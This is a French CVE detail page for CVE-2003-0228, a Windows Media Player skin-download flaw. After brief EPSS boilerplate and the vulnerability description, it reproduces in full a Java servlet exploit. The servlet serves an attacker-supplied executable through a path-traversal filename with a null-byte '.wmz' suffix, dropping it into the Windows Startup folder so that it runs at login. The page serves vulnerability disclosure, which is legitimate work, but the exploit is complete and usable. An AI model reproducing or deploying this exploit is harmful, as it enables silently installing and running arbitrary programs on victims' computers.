CVE-2003-0228 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/7517/info Windows Media Player is vulnerable to code execution through skin files. WMP does not properly validate URLs that are passed to initiate a skin file download and installation. This could allow a malicious file advertised as a skin file to be downloaded to a known location and executed through some other means. import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import java.io.*; /** * * Microsoft media player 8 Exploit for windows XP English and Dutch versions * * It will drop a file in the startup folder * * modify web.xml to change what will be uploaded * * @author Jelmer Kuperus * */ public class MediaPlayerExploit extends HttpServlet { private static final int BUFFER_SIZE = 1024; private static final String[] paths = new String[] { "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CStart%20Menu%5CPrograms%5CStartup%5c", // English "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CMenu Start%5CProgramma%27s%5Copstarten%5c" // Dutch }; private String payload; public void init() throws ServletException { payload = getInitParameter("executable"); } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { int language = 0; // default to english try { language = Integer.parseInt(request.getParameter("language")); } catch (NumberFormatException ignored) {} String path = paths[language]; File file = new File(payload); ServletOutputStream sos = response.getOutputStream(); response.setContentType("application/download"); response.setHeader("Content-Disposition","filename=" + path + file.getName() + "%00.wmz"); BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); BufferedOutputStream bos = new BufferedOutputStream(sos); byte buffer[] = new byte[BUFFER_SIZE]; int datalength = 0; while ( (datalength = bis.read(buffer,0,BUFFER_SIZE)) > 0) { bos.write(buffer,0,datalength); } bis.close(); bos.close(); } public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } }